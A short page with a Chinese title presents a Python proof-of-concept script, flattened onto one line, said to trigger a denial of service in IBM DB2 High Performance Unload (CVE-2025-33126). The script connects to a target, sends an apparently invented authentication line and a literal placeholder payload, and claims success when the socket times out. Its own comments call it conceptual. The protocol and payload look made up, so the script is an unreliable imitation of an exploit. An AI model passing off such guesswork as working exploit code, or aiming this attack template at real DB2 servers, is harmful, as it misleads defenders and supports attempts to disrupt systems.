CVE-2025-33126: IBM DB2 High Performance Unload缓冲区大小计算错误导致拒绝服务

# CVE-2025-33126 PoC - IBM DB2 High Performance Unload Buffer Size Calculation Error # This PoC demonstrates triggering a denial of service condition import socket import struct def exploit_cve_2025_33126(target_ip, target_port): """ Exploit for CVE-2025-33126: IBM DB2 High Performance Unload Buffer size calculation error leading to DoS Note: This is a conceptual PoC. Actual exploitation requires understanding of the specific protocol and buffer handling. """ try: # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # Authentication payload (required - PR:L) auth_payload = b'AUTHENTICATE user=lowpriv_user\r\n' sock.send(auth_payload) response = sock.recv(4096) # Check if authentication successful if b'200' not in response: print('[-] Authentication failed') sock.close() return False print('[+] Authentication successful') # Craft payload to trigger buffer size miscalculation # The exact payload structure depends on the specific # DB2 HPU command that has the vulnerability exploit_payload = b'EXPLOIT_PAYLOAD_WITH_SPECIAL_DATA\r\n' # Send the malicious payload sock.send(exploit_payload) # Wait for response try: response = sock.recv(4096) print('[*] Response received:', response) except socket.timeout: print('[+] Target crashed (DoS successful)') return True sock.close() return False except Exception as e: print(f'[-] Error: {str(e)}') return False # Usage example if __name__ == '__main__': target = '192.168.1.100' port = 50000 exploit_cve_2025_33126(target, port)